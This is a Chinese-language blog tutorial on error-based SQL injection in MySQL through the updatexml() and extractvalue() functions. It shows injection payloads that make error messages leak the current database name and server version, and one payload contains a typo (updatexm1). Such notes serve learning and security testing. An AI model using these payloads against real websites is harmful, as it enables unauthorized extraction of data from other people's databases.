updatexml和extractvalue函数

updatexml()函数报错注入

updatexml和extractvalue函数

理解就是updatexml函数有查询功能 并且会再xpath处查询。使用语法构造错误 查询的结果已报错的形式显示

-----

select * from articles where id = 1  查找 articles表中id=1的内容

可以省略成 select

-----

报出当前数据库的数据

select * from articles where id = 1 and updatexm1(2, database(),1) ;

updatexml和extractvalue函数

报出当前数据库名称

select * from articles where id = 1 and updatexml(2,concat(0x3c, database(), 0x3c),1);

updatexml和extractvalue函数

<cms<

0x3c 16进制字符

select * from articles where id = 1 and updatexml(2,concat(0x7e, database(),0x7e),1);

updatexml和extractvalue函数

~cms~

2、1 的文档文件名没有会报错。两个的位置随便替换、或者都是1、2。任意值即可

concat(str1, str2,...) 返回结果是 参数拼接成字符串,没有参数为null,则返回值为null

里面当成sql语句执行从而报出信息.

 

查询数据库版本

select * from articles where id = 1 and updatexml(2,concat(0x7e, @@version,0x7e),1);

updatexml和extractvalue函数

0x7e是链接符号~

 

只有一个链接字符

select * from articles where id = 1 and updatexml(2,concat(0x7e, @@version),1);

updatexml和extractvalue函数

没有也行,就是报错不太准确

select * from articles where id = 1 and updatexml(2,concat( @@version),1);

updatexml和extractvalue函数

extractvalue函数报错注入

参数:

1   文档名称

0x7e 16进制字符

concat 参数拼接成字符串,里面的sql也会执行

 

 select * from articles where id = 1 and extractvalue(2,concat(0x7e,@@version,0x7e));

select * from articles where id = 1 and extractvalue(2111111, concat(0x7e, @@version,0x7e));

updatexml和extractvalue函数

 

select * from articles where id = 1 and extractvalue(2111111, concat(0x7e,database(),0x7e));

updatexml和extractvalue函数

文档参考

https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

updatexml和extractvalue函数

 

上一篇:面试--04


下一篇:yuan先生的博客链接